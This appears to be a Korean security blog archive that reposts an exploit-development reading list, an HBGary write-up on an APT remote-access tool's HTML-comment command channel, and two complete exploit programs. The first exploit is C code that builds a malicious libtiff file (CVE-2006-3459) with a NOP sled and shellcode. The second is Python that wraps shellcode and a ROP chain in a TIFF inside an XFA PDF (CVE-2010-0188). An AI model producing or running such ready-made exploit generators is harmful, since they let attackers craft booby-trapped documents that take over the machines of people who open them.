posted by 블르샤이닝 2012. 1. 24. 10:13
728x90

출처: 
http://myne-us.blogspot.com/2010/08/from-0x90-to-0x4c454554-journey-into.html


From 0x90 to 0x4c454554, a journey into exploitation.
I put some time in and compiled a list in a course type layout to help people in process of learning exploit development. I hope my research will help others spend more time learning and less time searching. 

First off I want to thank the corelan guys for the help they have provided me so far in the process. 

layout: I will be posting in a hierarchical structure, each hierarchy structure should be fully understood before moving on to the next section. I will also post sets of Parallel learning topics that you can use to study in line with other topics to help prevent monotony. These Parallel areas will have a start and end mark which shows when they should be complete in perspective to the overall learning 

desktop background Link to Backgrounds 

Other Posts like this one: 
Because of quality of these posts I wanted to put them at the top. I could not figure out where to put them in the list because they cover so much. 
past-present-future of windows exploitation 
smashing the stack in 2010 
IT-Sec-catalog 


  1. Part 1: Programming

  2. Parallel learning #1:(complete this section before getting to the book "Hacking Art of exploitation"
    While going through the programming area I concentrate on core topics to help us later on with exploit writing. One area that is very good to pick up is some kind of scripting language. Listed below are some of the most popular scripting languages and ones I feel will prove to be the most useful. 

    Python: One of my favorite languages and growing in popularity python is a powerful language that is easy to use and well documented. 
    Learn Python the hard way 
    Wikibooks Python 
    http://docs.python.org/ 
    onlinecomputerbooks.com 
    Grey hat python 

    Ruby: If you plan on later on working inside of metasploit this may be the language you want to start with. I highly suggest this for exploit developers to learn. 
    Wikibooks Ruby 
    LittleBookOfRuby 
    Ruby Programmers Guide 
    onlinecomputerbooks.com 

    Perl: An older language that still has a lot of use perl is one of the highest used scripting languages and you will see it used in many exploits. (I would suggest python over perl) 
    [book] O'Reilly Learning Perl 
    onlinecomputerbooks.com 


    C and C++ programming: 
    It is very important to understand what you are exploiting so to get started let us figure out what we are exploiting. You do not need to go through all of these but when finished with this section you should have a good understanding of C and C++ programming. 
    Cprogramming.com 
    http://www.java2s.com/Tutorial/C/CatalogC.htm 
    http://beej.us/guide/bgc/ 
    onlinecomputerbooks.com 

    X86 Assembly: 
    Ok now to understand what the computer reads when we compile C and C++. I am going to mostly stick to the IA-32(X86) assembly language. Read the first link to understand why. It explains it very well. 
    Skullsecurity: Assembly 
    Windows Assembly Programming Tutorial 
    http://en.wikibooks.org/wiki/X86_Assembly 
    [book]The Art of Assembly 
    Assembly primer for hackers 
    PC Assembly Language 

    Windows Programming: 
    This is to help understand what we are programming in and the structure of libraries in the OS. This area is very important far down the line 
    http://en.wikibooks.org/wiki/Windows_Programming 
    http://www.relisoft.com/win32/index.htm 
    [book]Windows Internals 5 
    [book]Windows Internals 4 

    Disassembly: 
    Dissassembly is not as much programming as it is what the computer understands and the way it is interpreted from CPU and memory. This is where we start getting into the good stuff. 
    http://en.wikibooks.org/wiki/X86_disassembly 
    The Art of Disassembly 


  3. Part 2: Getting started

  4. Now that we have a very good understanding of programming languages and what the machine is doing we can start working on task at hand, exploitation. 
    Here I will start a lot of the learning in very much a list format and adding in comments or Parallel learning areas when needed. 

    Smash the stack for fun and profit (Phrack 49) 
    C function call conventions and the stack 
    Anatomy of a program in memory 
    Function Calls, Part 1 (the Basics) 
    IA-32 Architecture 
    [videos]Code Audit from cryptocity.net 

    (Parallel learning #1 finished: You should now have finished on Parallel learning 1 and have a good understanding of one of the 3 languages) 

    [Book]Hacking art of exploitation [Chapter 1&2] 
    Corelan T1 
    Corelan T2 

    Parallel learning #2:(complete this section before end of part 2
    (Read the first few posts on this blog has some good info) 
    Kspice blog 
    (Read some of the post from this blog they are very helpful with starting out with fuzzers.) 
    Nullthreat's blog 
    (I am linked directly to a demo exploit for this area but this is a useful blog to keep track of for many things) 
    A demo exploit 

    tenouk.com: Buffer overflow intro 
    The Tao of Windows Buffer Overflow 
    nsfsecurity on BOF 
    Hacker center: BOF 
    [video]Buffer overflow Primer 
    [Book]Shellcoder's Handbook Ch1&2 
    [Book]Hacking art of exploitation [Chapter 3] 
    Corelan T3A 
    Corelan T3B 
    SEH Based Exploits and the development process 
    SEH overwrite simplified 

    ((Parallel learning #2 finished:

  5. Part 3:Tools of the trade

  6. This is a list of tools I have started using and find very useful. 
    Immunity Debugger 
    Ollydbg 
    Windbg 
    IDA Pro 
    explorer suite 
    Sysinternals 

    And here are some corelan posts on how to use them. I will supply more in future but this is a very good start. 
    Corelan T5 
    Corelan: Immunity debugger cheatsheet 

  7. Part 4: Network and Metasploit

  8. (Networking) 
    Beej.us network programming 
    [Book]Hacking art of exploitation [Chapter 4] 
    Socket Programming in ruby 

    (Metasploit) 
    [Video]Security Tube: Metasploit Megaprimer 
    Metasploit.com 
    Metasploit Unleashed 
    [video]Metasploit Louisville Class 
    Metasploitable (a target) 
    Corelan T4 
    intern0t: developing my first exploit 
    [video]DHAtEnclaveForensics: Exploit Creation in Metasploit 
    Wikibooks Metasploit/Writing Windows Exploit 

  9. Part 5: Shellcode

  10. Corelan T9 
    projectShellcode: Shellcode Tutorial 
    [Book]Shellcoder's Handbook Ch3 
    [Book]Hacking art of exploitation [Chapter 5] 
    Writing small shellcode 
    Shell-storm Shellcode database 
    Advanced shellcode 

  11. Part 6: Engineering in Reverse

  12. Parallel Learning #3:(constant place to reference and use for reversing) 
    Understanding Code 
    Reverse Engineering the World 
    Reversing for Newbies 
    Room362.com reversing blog post 
    Ethicalhacker.net intro to reverse engineering 
    acm.uiuc.edu Intro to Reverse Engineering software 
    [Book]Reversing: secrets of reverse engineering 
    [video]Reverse Engineering from cryptocity.net 
    CrackZ's Reverse Engineering Page 
    Reverse engineering techniques 
    CBM_1_2_2006_Goppit_PE_Format_Reverse_Engineer_View 
    HistoryofPackingTechnology 
    Windows PE Header 
    OpenRCE Articles 

    [GAME]Crackmes.de 

  13. Part 7: Getting a little deeper into BOF

  14. Parallel Learning #4:(To the end of the course and beyond) 
    Find old exploits on Exploit-db download them, test them, rewrite them, understand them. 

    (Part A: preventions) 
    Buffer overflow protection 
    The evolution of Microsoft's Mitigations 
    Purdue.edu: Canary Bit 
    Preventing the exploitation of SEH Overwrites with SEHOP 
    Bypassing SEHOP 
    Wikipedia Executable space protextion 
    Wikipedia DEP 
    Bypassing Hardware based DEP 
    Wikipedia ASLR 
    Symantec ASLR in Vista 
    Defeating the Stack Based Buffer Overflow Prevention 
    Corelan T6 
    Return to libc 
    [video] microsoft protections video 

    (Part B: Advanced BOF) 
    [video]Exploitation from cryptocity.net 
    Corelan T7 
    Corelan T8 
    Corelan T10 
    Virtual Worlds - Real Exploits 

    [GAME]Gera's Insecure Programming 
    [GAME]Smash the stack wargaming network 

  15. Part 8: Heap overflow

  16. Heap Overflows for Humans-101 
    rm -rf / on heap overflow 
    w00w00 on heap overflow 
    [book]Shellcoder's Handbook Ch4&5 
    h-online A heap of Risk 
    [video]Defcon 15 remedial Heap Overflows 
    heap overflow: ancient art of unlink seduction 
    Memory corruptions part II -- heap 

    [book]Read the rest of Shellcoder's Handbook 

  17. Part 9: Exploit listing sites

  18. Exploit-DB 
    Injector 
    CVE Details 
    Packetstorm 
    CERT 
    Mitre 
    National Vulnerability Database 

    (bonus: site that lists types of vulnerabilties and info) 
    Common Weakness Enumberation 

  19. Part 10: To come

  20. 1. Fuzzing 
    2. File Format 
    3. and more 





728x90
posted by 블르샤이닝 2011. 9. 23. 16:22
728x90
728x90
posted by 블르샤이닝 2011. 8. 17. 14:43
728x90

Note: I shortened the title of the post from "Inside an APT “Comment Crew” Covert Communications Channel" to "Inside an APT Covert Communications Channel". To be clear, multiple threat groups are using HTML comments as a means of COVCOM. Thus, this should be considered a general technique as opposed to attribution on a specific group. Both Shady RAT and "Comment Crew", as well as others with additional codenames, have been associated with the use of HTML comments as a means of COVCOM.

For many years, hackers operating out of China have been attacking a myriad of commercial and government systems here in the US and abroad. The term “APT” or Advanced Persistent Threat has often been used to describe these attackers. While HBGary is primarily a product company selling an enterprise incident response product, the team has been deep into APT analysis for over five years. Most of the analysis work is in direct support of Digital DNA – an automated system for detection of unknown malware and APT intrusions. I presented a technical description of how this attribution works, what is solves and what it doesn’t, at the BlackHat Conference last year. The work is about tracking threat groups – that is, tracking the humans and the human factors behind the digital artifacts we see. There are many hacking groups involved in these intrusions. One such group has often been called “Comment Crew” for their use of HTML comments as a means of command and control. This group has been associated with the recent “Shady RAT” intrusion revealed by McAfee. For this article I am going to give you a technical in-depth tour of how such a group operates.

For starters, the attackers will gain access to the network via spear-phishing. In almost all cases we have investigated, spear-phishing was the initial point of infection. These phishing emails are full of very specific project names, names of associates, official sounding documents, etc.

그 피싱 이메일은 특유의 프로젝트 이름, 동료 이름, 사무 문서 이야기 등 으로 되어있다.

It is very clear that the hacking group is using stolen email to learn about their targets before crafting a very convincing email. This underscores why the recent spate of SQLi attacks over the last few months pose a far greater threat than most people realize.

그것은 해킹그룹이 매우 설득력있는 이메일을 보내기 전에 타켓에 대한 훔친 이메일을 토대로 사용자 정보에 대해 익혀 사용하게 된다. 이 밑줄은 왜

최근 SQLi공격이 터졌는지 지난 몇달동안 대부분의 사람들이 깨달았따. 얼마나 취약점이 컸는지.

Exploit and Dropper

Once access is gained into the network, the hacking group places remote access tools into the environment. These are backdoor programs that are downloaded automatically by the exploit email – we called these “droppers”. In the diagram, point A shows the exploit email ‘detonating’ after being viewed by the victim, point ‘B’ is a server where a ‘dropper’ is stored, and point ‘C’ is the dropper backdoor being placed onto the compromised computer.

한번 네트워크안에  접근하게 되면  해킹 그룹은 원격접속을 위한 환경을 구성한다. 이것들은 백도어 프로그램이나 EXPLOIT EMAIL로 부터 자동으로 다운로도되는 백도어 프로그램- 우리는 이것들을 "DROPPERS"라고 부른다. 다이어그램 A부분에서 보여준 컴퓨터다. EXPLOIT 이메일 "DETONATION" 후에 공격이 시작되는 것을 볼 수 있다. 포인트 B는 "DROPPER"의 서버가 저장된다. "C"포인트는 컴퓨터 훼손이 백도어로 인해 시작된다.

Once the dropper has established a beachhead into the network, a hacker will access the host and uninstall the original backdoor, replacing it with a new and more powerful backdoor. These backdoors, especially the secondary and more powerful one, are called “RAT”s – for Remote Access Tool. Many of these RATs are custom written and that can be the basis for a great deal of attribution, allowing us to detect the malware in physical memory.

 

 

Interaction with the Host

Remember that most networks are firewalled. This means the attacker can’t just make a TCP connection into the RAT program. The RAT program is within the internal network so it must first make an outbound connection to the attacker. The RAT is designed to connect outbound over port 80 or 443, a port that is allowed outbound by almost all firewall policies. Once the outbound connection is made, the attacker can use the established TCP session to interact with the host, download tools, run command line programs, and laterally move about the network. In the diagram, point A is where the RAT makes an outbound connection to a server on the Internet, point B is a server under the hacker’s control, and point C is where the hacker uses the established TCP connection to interact with the RAT program and subsequently the host environment, potentially exploiting additional machines nearby in the network.

One of the greatest challenges for an incident response team is discerning the difference between ‘normal’ malware and an APT attack. As we can see in this example, an APT attack involves a real human at the other end of the keyboard performing actions on the host. We call this ‘interaction with the host’ and we recommend that an IR team pull a timeline of last-access times from the MFT (master file table), browsing history from index.DAT, event log, and other sources to determine if such interaction is occurring. This is a fast and easy way to discern the difference between a non-targeted external threat (which over 80% of all adverse events will fall into this category) and external targeted attacks (of which APT is included, probably less than 2% of all adverse events).

The RAT program doesn’t contain any fancy stealth or anti-forensics measures. In fact, we rarely even see packers in use (a packer is a method of obfuscating a program after compilation and is a low-cost way for a hacker to add anti-forensics to his malware). It seems the most of the covert methods are applied to the way to RAT communicates with the hacker. This makes sense. Consider that most of the intrusion detection capability lies at the perimeter of the network, and this is what the hacker is trying to defeat. Thus, the HTML comment method of configuring and controlling the RAT programs.

Hidden Comments for Covert Communication (COVCOM)

Instead of letting the RAT connect directly to his personal server, the hacker will first exploit a webserver somewhere on the Internet. This exploited webserver will then be used as the ‘middleman’ to communicate with the RAT. The hacker will place a hidden comment on an otherwise normal webpage and have the RAT connect outbound to this page. Using the hidden comment, the hacker will be able to give commands to the RAT. The RAT will make periodic outbound connections, sometimes waiting days before checking the page. The hidden comment will contain an encoded message that the RAT knows how to decipher. In this case example, the hidden data is base64 encoded. In this diagram, point A is the RAT program making a periodic outbound connection, point B is a compromised webserver somewhere on the Internet, point C is the hidden comment on the webpage, and point D is where said comment is decoded into actual instructions for the RAT. An example of such a comment is shown in the next image. It is interesting to note that the hacker has attempted to make the page look like a 404 HTML error page if viewed in a normal web browser.

Example of BASE64 Encoded Hidden Comment

Once the RAT decodes the message, the data becomes a configuration file for the malware. The file has many features, such as the ability to specify which server addresses to use on the Internet, including backup servers, configuration of the check-in times, and even has the ability to completely update the RAT binary in the field (shown in the diagram as a .bmp file – this is actually a normal PE header executable).

The Decoded Configuration File

All of the above technical information can be detected on a host after intrusion. The RAT program itself is near trivial to detect once you know what you are looking for. But beyond that, because the RAT program has certain outbound connection characteristics, sleep timers, and built-in “host interaction” capabilities, HBGary’s Digital DNA lights it up like a Christmas Tree (example shown in image).

Digital DNA Detects Unknown Malware

Even if you had no prior knowledge about this specific RAT, you would have detected it with HBGary. Beyond that, the decoded configuration file can also be found in physical memory – the primary search method used by Active Defense. Regardless of the configuration values, the option headers shown in the example above have a specific pattern that can be detected quite easily, even if fragmented over multiple buffers. This is exactly the kind of information I am referring to when I talk about “actionable threat intelligence”. Once you know about the attackers TTP’s (tactics, techniques, and procedures) you can encode this into an enterprise-wide scan. We call it ‘continuous protection’ when you adopt continual scanning while also updating the threat intelligence as you learn more about the attacker. In essence, you are applying attrition against the attacker’s presence in your network. For example, if you know how to detect the above configuration file, then the attacker has to change the way that configuration file looks to defeat you – something that also requires them to recode their parser in the malware. Hence, you cost the attacker time and money. That is a Good Thing.

I hope this gave you a somewhat concrete tour of how a real APT covert communication (COVCOM) channel works. Also, I hope it has illustrated some of the threat intelligence that you access on the host. Using enterprise-wide scans, your IR or security team can put a severe dent in the APT presence in your network. As far as product solutions to enable you, obviously we build HBGary’s Active Defense. If you are interested in continuous protection and threat intelligence, we offer 50-node evaluations of Active Defense that can be installed on a laptop. We also offer a deploy-on-demand license for incident response teams (our 500-node pack has been quite popular), as well as the perpetual node model for full enterprise proactive deployments.

- Greg

Shady RAT is Serious Business

Ira Winkler makes some interesting points in his CIO article on Shady RAT. I tend to agree with his observation that security vendors spend too much energy infighting when we all should be facing a common enemy. It is true that Shady RAT is just one of many other, similar attacks. There is no harm in trying to draw attention to the elephant in the room - APT is a grave and serious threat to U.S. companies as well as national security. Shady RAT may appear to be 'sloppy' but it can still be APT. Within infosec the term APT has been debated - but we at HBGary have a very simple definition: if there is interaction with the host, we call it APT. Now, most of the attacks we deal with are targeting intellectual property and appear to have state sponsored underpinnings. The attackers usually leave tools behind, additional backdoors, etc., but none of these are very complex. The malware and techniques are mostly unsophisticated and sloppy, but yet they succeed and remain persistent. Our assumption on this - APT does the minimum necessary to get the job done. If they don't need hard core boot sector viruses and kernel rootkits, they aren't going to use them. We as an industry have a responsibility to protect our customers from a very serious an evolving threat. Downplaying the seriousness of this threat undermines the reason we are here.

-Greg

728x90
posted by 블르샤이닝 2010. 7. 26. 05:32
728x90

참고 :
http://www.boannews.com/media/view.asp?page=1&idx=21730&search=&find=&kind=1

http://malwarelab.tistory.com/78
---------------------------------------------------------------------------------------------------------
 이것때문에 많이 해멨다 .. 우선 에러가 뜨는 문제.....무슨 이상한 에러 뜨면서 안되는거 print 이부분에서 엄청 해맸따.. 외국사이트 가서 겨우 알게 된 사실....버젼이 낮은거였다고 한다...파이썬이 제길 ㅋㅋㅋ

덕분에 삽질만했군...ㅠㅠ


화며과 같이 잘되는것을 확인하였다. 덕분에 이제 스크립트 소스를 볼수 있게 되었군요 ㅎㅎㅎ 기뻐라..ㅠㅠ 이것으로 한시름 놨군..ㅋㅋ

몇가지 파일 올립니다. 우선 파이썬이랑 그외 필요한 파일 올립니다.
1. 파이썬 설치
2. 압출 파일 나머지 다 풀어서 한곳에 모아놓기(그래도 되고 안해도 되고 ㅋㅋ 편하니까)
3. pdf-parser.pv -a (파일명)
나머진 나중에 ㅋ

참고 파일 :
파이썬 :
그외 나머진 필요한 파일
728x90
posted by 블르샤이닝 2010. 7. 22. 16:53
728x90
728x90
posted by 블르샤이닝 2010. 7. 22. 09:47
728x90

#include <stdio.h>
#include <string.h>
#include <tiffio.h>
#include <stdlib.h>
#include <stdbool.h>

/*
 * basic exploit for CVE-2006-3459.
 *
 * $ ./a.out 
 * [*] creating exploit.tif, target address: 0xb7959000
 * [*] marker tag found at offset 524418.
 * [*] success.
 * $ display exploit.tif 
 * uid=1000(taviso) gid=100(users) groups=10(wheel)
 *
 * -- taviso@gentoo.org
 */

/* size of nop sled */
#define SLEDSIZ (2048 << 8)

/* get this address by printing tif->tif_base in a debugger */
#define RETADDR (0xb7919000 + SLEDSIZ/2)

#define MARKER 0xc0de /* this must be unique, make it anything */

unsigned char shellcode[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00"
"\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0c\x00\x00\x00\x2f\x75\x73"
"\x72\x2f\x62\x69\x6e\x2f\x69\x64\x00\x57\x53\x89\xe1\xcd\x80";

TIFFFieldInfo badfield = {
    MARKER,         /* a unique unsigned short we search for */
    100,            /* number of shorts to read onto stack */
    100,            /* number we want to write into file */
    TIFF_SHORT,     /* data type */
    FIELD_CUSTOM,   /* field bit */
    1,              /* okay to change? */
    0,              /* passcount */
    "Exploit"       /* a name, unused */
};

int main(int argc, char **argv)
{
    TIFF *tif;
    FILE *mod;
    unsigned char *buf;
    unsigned short d;
    unsigned f[badfield.field_readcount], i;

    fprintf(stderr, "[*] creating exploit.tif, target address: %p\n", RETADDR);

    /* prepare a buffer containing address of shellcode */
    for (i = 0; i < badfield.field_readcount; i++)
        f[i] = RETADDR;

    /* open the target exploit file */
    if ((tif = TIFFOpen("exploit.tif", "w")) == NULL) {
        fprintf(stderr, "[!] failed to open target.\n");
        return 1;
    }

    /* teach libtiff about made up tag */
    TIFFMergeFieldInfo(tif, &badfield, 1);

    /* install basic required tags */
    TIFFSetField(tif, TIFFTAG_IMAGEWIDTH, SLEDSIZ + sizeof(shellcode));
    TIFFSetField(tif, TIFFTAG_IMAGELENGTH, 1);
    TIFFSetField(tif, TIFFTAG_COMPRESSION, COMPRESSION_NONE);
    TIFFSetField(tif, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_MINISBLACK);
    
    /* now send buffer containing return addresses */
    TIFFSetField(tif, MARKER, &f);

    if ((buf = malloc(SLEDSIZ + sizeof(shellcode))) == NULL) {
        fprintf(stderr, "[!] sorry, memory allocation error.\n");
    }
    
    memset(buf, 0x90, SLEDSIZ);
    memcpy(buf + SLEDSIZ, shellcode, sizeof(shellcode));

    /* disguise nop sled and shellcode as image data */
    TIFFWriteEncodedStrip(tif, 0, buf, SLEDSIZ + sizeof(shellcode));
    TIFFClose(tif);

    /* okay, now open the file to find the marker taag */
    if ((mod = fopen("exploit.tif", "r+")) == NULL) {
        fprintf(stderr, "[!] failed to open target.\n");
        return 1;
    }

    /* try to find the MARKER by continually reading shorts. */

    /* yes, this is ugly. */
    while (true) {
        if (fread(&d, sizeof(short), 1, mod) < 1) {
            fprintf(stderr, "[!] failed to find marker.\n");
            return 1;
        }
        if (d == MARKER) {
            fprintf(stderr, "[*] marker tag found at offset %d.\n", 
                    ftell(mod) - sizeof(short));

            /* rewind ready to overwrite it */
            if (fseek(mod, - sizeof(short), SEEK_CUR) == -1) {
                fprintf(stderr, "[!] failed to reposition file.\n");
                return 1;
            }

            /* i'll use dot range */
            d = TIFFTAG_DOTRANGE;

            /* write it in */
            if (fwrite(&d, sizeof(short), 1, mod) < 1) {
                fprintf(stderr, "[!] failed to write new tag number.\n");
            }

            break;
        } else {
            if (fseek(mod, - sizeof(short) + 1, SEEK_CUR) == -1) {
                fprintf(stderr, "[!] failed to reposition file.\n");
                return 1;
            }
        }
    }

    fclose(mod);

    fprintf(stderr, "[*] success.\n");
    return 0;
}

728x90
posted by 블르샤이닝 2010. 7. 22. 09:34
728x90

PDF/CVE-2010-0188



Copyright villys777 All
http://bugix-security.blogspot.com/2010/03/adobe-pdf-libtiff-working-exploitcve.html
Exploits works with Adobe js disabled.

import sys
import base64
import struct
import zlib
import StringIO

SHELLCODE_OFFSET=1500
TIFF_OFSET=0x2038

# windows/exec - 227 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=process, CMD=calc.exe
buf = "\x2b\xc9\xd9\xc0\xd9\x74\x24\xf4\x5e\xb1\x33\xba\xd9\xb4"
buf += "\x0a\xbe\x31\x56\x15\x03\x56\x15\x83\x1f\xb0\xe8\x4b\x63"
buf += "\x51\x65\xb3\x9b\xa2\x16\x3d\x7e\x93\x04\x59\x0b\x86\x98"
buf += "\x29\x59\x2b\x52\x7f\x49\xb8\x16\xa8\x7e\x09\x9c\x8e\xb1"
buf += "\x8a\x10\x0f\x1d\x48\x32\xf3\x5f\x9d\x94\xca\x90\xd0\xd5"
buf += "\x0b\xcc\x1b\x87\xc4\x9b\x8e\x38\x60\xd9\x12\x38\xa6\x56"
buf += "\x2a\x42\xc3\xa8\xdf\xf8\xca\xf8\x70\x76\x84\xe0\xfb\xd0"
buf += "\x35\x11\x2f\x03\x09\x58\x44\xf0\xf9\x5b\x8c\xc8\x02\x6a"
buf += "\xf0\x87\x3c\x43\xfd\xd6\x79\x63\x1e\xad\x71\x90\xa3\xb6"
buf += "\x41\xeb\x7f\x32\x54\x4b\x0b\xe4\xbc\x6a\xd8\x73\x36\x60"
buf += "\x95\xf0\x10\x64\x28\xd4\x2a\x90\xa1\xdb\xfc\x11\xf1\xff"
buf += "\xd8\x7a\xa1\x9e\x79\x26\x04\x9e\x9a\x8e\xf9\x3a\xd0\x3c"
buf += "\xed\x3d\xbb\x2a\xf0\xcc\xc1\x13\xf2\xce\xc9\x33\x9b\xff"
buf += "\x42\xdc\xdc\xff\x80\x99\x13\x4a\x88\x8b\xbb\x13\x58\x8e"
buf += "\xa1\xa3\xb6\xcc\xdf\x27\x33\xac\x1b\x37\x36\xa9\x60\xff"
buf += "\xaa\xc3\xf9\x6a\xcd\x70\xf9\xbe\xae\x17\x69\x22\x1f\xb2"
buf += "\x09\xc1\x5f\x00"

class CVE20100188Exploit:
def __init__(self,shellcode):
self.shellcode = shellcode
self.tiff64=base64.b64encode(self.gen_tiff())

def gen_tiff(self):
tiff = '\x49\x49\x2a\x00'
tiff += struct.pack("<L", TIFF_OFSET)

tiff += '\x90' * (SHELLCODE_OFFSET)
tiff += self.shellcode
tiff += '\x90' * (TIFF_OFSET - 8 - len(buf) - SHELLCODE_OFFSET)

tiff += "\x07\x00\x00\x01\x03\x00\x01\x00"
tiff += "\x00\x00\x30\x20\x00\x00\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00"
tiff += "\x00\x00\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x01"
tiff += "\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x11\x01\x04\x00\x01\x00"
tiff += "\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20"
tiff += "\x00\x00\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00\x00\x00"
tiff += "\x00\x00\x00\x0C\x0C\x08\x24\x01\x01\x00\xF7\x72\x00\x07\x04\x01"
tiff += "\x01\x00\xBB\x15\x00\x07\x00\x10\x00\x00\x4D\x15\x00\x07\xBB\x15"
tiff += "\x00\x07\x00\x03\xFE\x7F\xB2\x7F\x00\x07\xBB\x15\x00\x07\x11\x00"
tiff += "\x01\x00\xAC\xA8\x00\x07\xBB\x15\x00\x07\x00\x01\x01\x00\xAC\xA8"
tiff += "\x00\x07\xF7\x72\x00\x07\x11\x00\x01\x00\xE2\x52\x00\x07\x54\x5C"
tiff += "\x00\x07\xFF\xFF\xFF\xFF\x00\x01\x01\x00\x00\x00\x00\x00\x04\x01"
tiff += "\x01\x00\x00\x10\x00\x00\x40\x00\x00\x00\x31\xD7\x00\x07\xBB\x15"
tiff += "\x00\x07\x5A\x52\x6A\x02\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x58\xCD\x2E\x3C\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x05\x5A\x74\xF4\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xB8\x49\x49\x2A\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x00\x8B\xFA\xAF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x75\xEA\x87\xFE\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xEB\x0A\x5F\xB9\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xE0\x03\x00\x00\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xF3\xA5\xEB\x09\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xE8\xF1\xFF\xFF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xFF\x90\x90\x90\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xFF\xFF\xFF\x90\x4D\x15\x00\x07\x31\xD7\x00\x07\x2F\x11"
tiff += "\x00\x07"
return tiff


def gen_xml(self):
xml= '''<?xml version="1.0" encoding="UTF-8" ?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/1.0/">
<present>
<pdf>
<version>1.65</version>
<interactive>1</interactive>
<linearized>1</linearized>
</pdf>
<xdp>
<packets>*</packets>
</xdp>
<destination>pdf</destination>
</present>
</config>
<template baseProfile="interactiveForms" xmlns="http://www.xfa.org/schema/xfa-template/2.4/">
<subform name="topmostSubform" layout="tb" locale="en_US">
<pageSet>
<pageArea id="PageArea1" name="PageArea1">
<contentArea name="ContentArea1" x="0pt" y="0pt" w="612pt" h="792pt" />
<medium short="612pt" long="792pt" stock="custom" />
</pageArea>
</pageSet>
<subform name="Page1" x="0pt" y="0pt" w="612pt" h="792pt">
<break before="pageArea" beforeTarget="#PageArea1" />
<bind match="none" />
<field name="ImageField1" w="28.575mm" h="1.39mm" x="37.883mm" y="29.25mm">
<ui>
<imageEdit />
</ui>
</field>
<?templateDesigner expand 1?>
</subform>
<?templateDesigner expand 1?>
</subform>
<?templateDesigner FormTargetVersion 24?>
<?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?>
<?templateDesigner Zoom 94?>
</template>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
<xfa:data>
<topmostSubform>
<ImageField1 xfa:contentType="image/tif" href="">'''+self.tiff64 +'''</ImageField1>
</topmostSubform>
</xfa:data>
</xfa:datasets>
<PDFSecurity xmlns="http://ns.adobe.com/xtd/" print="1" printHighQuality="1" change="1" modifyAnnots="1" formFieldFilling="1" documentAssembly="1" contentCopy="1" accessibleContent="1" metadata="1" />
<form checksum="a5Mpguasoj4WsTUtgpdudlf4qd4=" xmlns="http://www.xfa.org/schema/xfa-form/2.8/">
<subform name="topmostSubform">
<instanceManager name="_Page1" />
<subform name="Page1">
<field name="ImageField1" />
</subform>
<pageSet>
<pageArea name="PageArea1" />
</pageSet>
</subform>
</form>
</xdp:xdp>

'''
return xml

def gen_pdf(self):
xml = zlib.compress(self.gen_xml())
pdf='''%PDF-1.6
1 0 obj
<</Filter /FlateDecode/Length ''' + str(len(xml)) + '''/Type /EmbeddedFile>>
stream
''' + xml+'''
endstream
endobj
2 0 obj
<</V () /Kids [3 0 R] /T (topmostSubform[0]) >>
endobj
3 0 obj
<</Parent 2 0 R /Kids [4 0 R] /T (Page1[0])>>
endobj
4 0 obj
<</MK <</IF <</A [0.0 1.0]>>/TP 1>>/P 5 0 R/FT /Btn/TU (ImageField1)/Ff 65536/Parent 3 0 R/F 4/DA (/CourierStd 10 Tf 0 g)/Subtype /Widget/Type /Annot/T (ImageField1[0])/Rect [107.385 705.147 188.385 709.087]>>
endobj
5 0 obj
<</Rotate 0 /CropBox [0.0 0.0 612.0 792.0]/MediaBox [0.0 0.0 612.0 792.0]/Resources <</XObject >>/Parent 6 0 R/Type /Page/PieceInfo null>>
endobj
6 0 obj
<</Kids [5 0 R]/Type /Pages/Count 1>>
endobj
7 0 obj
<</PageMode /UseAttachments/Pages 6 0 R/MarkInfo <</Marked true>>/Lang (en-us)/AcroForm 8 0 R/Type /Catalog>>
endobj
8 0 obj
<</DA (/Helv 0 Tf 0 g )/XFA [(template) 1 0 R]/Fields [2 0 R]>>
endobj xref
trailer
<</Root 7 0 R/Size 9>>
startxref
14765
%%EOF'''
return pdf


if __name__=="__main__":
if len(sys.argv) != 2:
print "Usage: %s [output.pdf]" % sys.argv[0]

print "Creating Exploit to %s\n"% sys.argv[1]
exploit=CVE20100188Exploit(buf)
f = open(sys.argv[1],mode='wb')
f.write(exploit.gen_pdf())
f.close()
print "[+] done !"
728x90